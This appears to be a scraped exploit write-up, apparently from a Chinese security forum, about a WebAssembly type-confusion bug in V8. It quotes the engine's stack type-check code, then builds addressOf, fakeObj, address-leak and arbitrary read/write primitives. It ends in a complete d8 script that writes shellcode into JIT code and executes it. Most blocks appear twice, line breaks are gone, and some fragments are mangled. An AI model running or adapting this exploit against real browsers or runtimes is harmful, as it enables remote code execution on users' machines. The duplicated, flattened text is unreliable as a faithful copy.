stack for %s, found %u", arity, merge_description, actual); return false;}// Typecheck the topmost {merge->arity} values on the stack.Value* stack_values = stack_.end() - arity;for (uint32_t i = 0; i < arity; ++i) { Value& val = stack_values[i]; Value& old = (*merge)[i]; if (!IsSubtypeOf(val.type, old.type, this->module_)) { this->DecodeError("type error in %s[%u] (expected %s, got %s)", merge_description, i, old.type.name().c_str(), val.type.name().c_str()); return false; } if constexpr (static_cast<bool>(rewrite_types)) { // Upcast type on the stack to the target type of the label. val.type = old.type; }}// Typecheck the topmost {merge->arity} values on the stack.Value* stack_values = stack_.end() - arity;for (uint32_t i = 0; i < arity; ++i) { Value& val = stack_values[i]; Value& old = (*merge)[i]; if (!IsSubtypeOf(val.type, old.type, this->module_)) { this->DecodeError("type error in %s[%u] (expected %s, got %s)", merge_description, i, old.type.name().c_str(), val.type.name().c_str()); return false; } if constexpr (static_cast<bool>(rewrite_types)) { // Upcast type on the stack to the target type of the label. val.type = old.type; }}addressof: extern → i32fakeobj: i32 ->externAAR: i64 -> structAAW: struct -> i64addressof: extern → i32fakeobj: i32 ->externAAR: i64 -> structAAW: struct -> i64V8_INLINE Value Pop(int index, ValueType expected) { Value value = Pop(); ValidateStackValue(index, value, expected); return value;}V8_INLINE void ValidateStackValue(int index, Value value, ValueType expected) { if (!VALIDATE(IsSubtypeOf(value.type, expected, this->module_) || value.type == kWasmBottom || expected == kWasmBottom)) { PopTypeError(index, value, expected); }}V8_INLINE Value Pop(int index, ValueType expected) { Value value = Pop(); ValidateStackValue(index, value, expected); return value;}V8_INLINE void ValidateStackValue(int index, Value value, ValueType expected) { if (!VALIDATE(IsSubtypeOf(value.type, expected, this->module_) || value.type == kWasmBottom || expected == kWasmBottom)) { PopTypeError(index, value, expected); }}DECODE(CallFunction) { CallFunctionImmediate imm(this, this->pc_ + 1, validate); if (!this->Validate(this->pc_ + 1, imm)) return 0; PoppedArgVector args = PopArgs(imm.sig); Value* returns = PushReturns(imm.sig);// <- CALL_INTERFACE_IF_OK_AND_REACHABLE(CallDirect, imm, args.data(), returns); MarkMightThrow(); return 1 + imm.length;}DECODE(CallFunction) { CallFunctionImmediate imm(this, this->pc_ + 1, validate); if (!this->Validate(this->pc_ + 1, imm)) return 0; PoppedArgVector args = PopArgs(imm.sig); Value* returns = PushReturns(imm.sig);// <- CALL_INTERFACE_IF_OK_AND_REACHABLE(CallDirect, imm, args.data(), returns); MarkMightThrow(); return 1 + imm.length;}kExprCallFunction DECODE(CallFunction) PushReturns PushValueTypes Push(ValueType) CreateValue Push(Value)kExprCallFunction DECODE(CallFunction) PushReturns PushValueTypes Push(ValueType) CreateValue Push(Value)addressof: extern → i32fakeobj: i32 ->externaddressof: extern → i32fakeobj: i32 ->extern// addressOfbuilder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32])).exportFunc().addBody([ kExprLocalGet, 0, kExprBlock, kWasmI32, kExprBr, 0, kExprEnd,]);// fakeObjbuilder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef])).exportFunc().addBody([ kExprBlock, 0x40, kExprLocalGet, 0, kExprReturn, kExprEnd, kExprUnreachable,]); builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64])).exportFunc().addBody([ kExprLocalGet, 0, kExprBlock, kWasmI64, kExprBr, 0, kExprEnd,]);// addressOfbuilder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32])).exportFunc().addBody([ kExprLocalGet, 0, kExprBlock, kWasmI32, kExprBr, 0, kExprEnd,]);// fakeObjbuilder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef])).exportFunc().addBody([ kExprBlock, 0x40, kExprLocalGet, 0, kExprReturn, kExprEnd, kExprUnreachable,]); builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64])).exportFunc().addBody([ kExprLocalGet, 0, kExprBlock, kWasmI64, kExprBr, 0, kExprEnd,]);builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64])).exportFunc().addBody([ kExprI64Const, 0, ]);builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64])).exportFunc().addBody([ kExprI64Const, 0, ]);const structType = builder.addStruct([makeField(kWasmI64, true)]);const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)])).addBody([ kExprLocalGet, 0,]);builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64])).exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kGCPrefix, kExprStructGet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size),]);builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], [])).exportFunc().addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kExprLocalGet, 1, kGCPrefix, kExprStructSet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size),]);const structType = builder.addStruct([makeField(kWasmI64, true)]);const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)])).addBody([ kExprLocalGet, 0,]);builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64])).exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kGCPrefix, kExprStructGet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size),]);builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], [])).exportFunc().addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kExprLocalGet, 1, kGCPrefix, kExprStructSet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size),]);var wasm_mode = 1;if(wasm_mode){ prefix = "../../"; path = "test/mjsunit/wasm/wasm-module-builder.js"; d8.file.execute(prefix + path);}var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u8 = new Uint8Array(buf);var u16 = new Uint16Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}function f64_to_u32l(val){ f64[0] = val; return u32[0];}function f64_to_u32h(val){ f64[0] = val; return u32[1];}function f64_to_u64(val){ f64[0] = val; return u64[0];}function u64_to_f64(val){ u64[0] = val; return f64[0];}function u64_to_u32_lo(val){ u64[0] = val; return u32[0];}function u64_to_u32_hi(val){ u64[0] = val; return u32[1];}// function stop(){// console.log("stop...");// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ console.log("spin..."); while(true){};}function stuck(){ console.log("readline...."); readline();}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}const builder = new WasmModuleBuilder();// addressOfbuilder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32])).exportFunc().addBody([ kExprLocalGet, 0, kExprBlock, kWasmI32, kExprBr, 0, kExprEnd,]);// fakeObjbuilder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef])).exportFunc().addBody([ kExprBlock, 0x40, kExprLocalGet, 0, kExprReturn, kExprEnd, kExprUnreachable,]);builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64])).exportFunc().addBody([ kExprI64Const, 0, ]);const structType = builder.addStruct([makeField(kWasmI64, true)]);const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)])).addBody([ kExprLocalGet, 0,]);builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64])).exportFunc().addBody([ kExprLocalGet, 0, kExprBlock, kWasmI64, kExprBr, 0, kExprEnd,]);builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64])).exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kGCPrefix, kExprStructGet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size),]);builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], [])).exportFunc().addBody([ kExprLocalGet, 0, kExprCallFunction, cast_function.index, kExprLocalGet, 1, kGCPrefix, kExprStructSet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size),]);const instance = builder.instantiate();let {addressOf, fakeObj, leak_stack, leak_cage_base, AAR, AAW} = instance.exports;let stack_addr = leak_stack();for(let i = 0; i < stack_addr.length; i++){ logg("stack_addr["+i+"]", stack_addr[i]);}stack_value = stack_addr[0] << 32n | stack_addr[1];logg("stack_value", stack_value);// for(let i = 0; i < 10; i++){// let test = AAR(stack_value+1n+BigInt(i*0x8));// logg("test", test);// }let jit_code_addr = AAR(stack_value+1n);let cage_base = leak_cage_base(instance) & ~0xffffffffn;logg("cage_base", cage_base);logg("jit_code_addr", jit_code_addr);const wasm_bytes = new Uint8Array([ 0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110]);const mod = new WebAssembly.Module(wasm_bytes);const instance_shellcode = new WebAssembly.Instance(mod);const pwn = instance_shellcode.exports.pwn;let offset_to_jit = 0x2959n;let rop_addr = jit_code_addr+offset_to_jit;// p(instance_shellcode);logg("rop_addr", rop_addr);var shellcode = [ 10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 72340172838123592n, 7521907171660923137n, 302101820911791727n, 17740191518968858660n, 21732277098n];// var shellcode = [// 0x4141414141414141n,// 0x4141414141414141n, // ];qpwn(0x1n);for(let i = 0; i < shellcode.length; i++){ AAW(jit_code_addr+offset_to_jit+BigInt(i*0x8)+1n-0x8n, shellcode[i]);}// stop();pwn(0x1n);// spin();var wasm_mode = 1;if(wasm_mode){ prefix = "../../"; path = "test/mjsunit/wasm/wasm-module-builder.js"; d8.file.execute(prefix + path);}var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u8 = new Uint8Array(buf);var u16 = new Uint16Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}function f64_to_u32l(val){ f64[0] = val; return u32[0];}function f64_to_u32h(val){ f64[0] = val; return u32[1];}function f64_to_u64(val){ f64[0] = val; return u64[0];}function u64_to_f64(val){ u64[0] = val; return f64[0];}[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!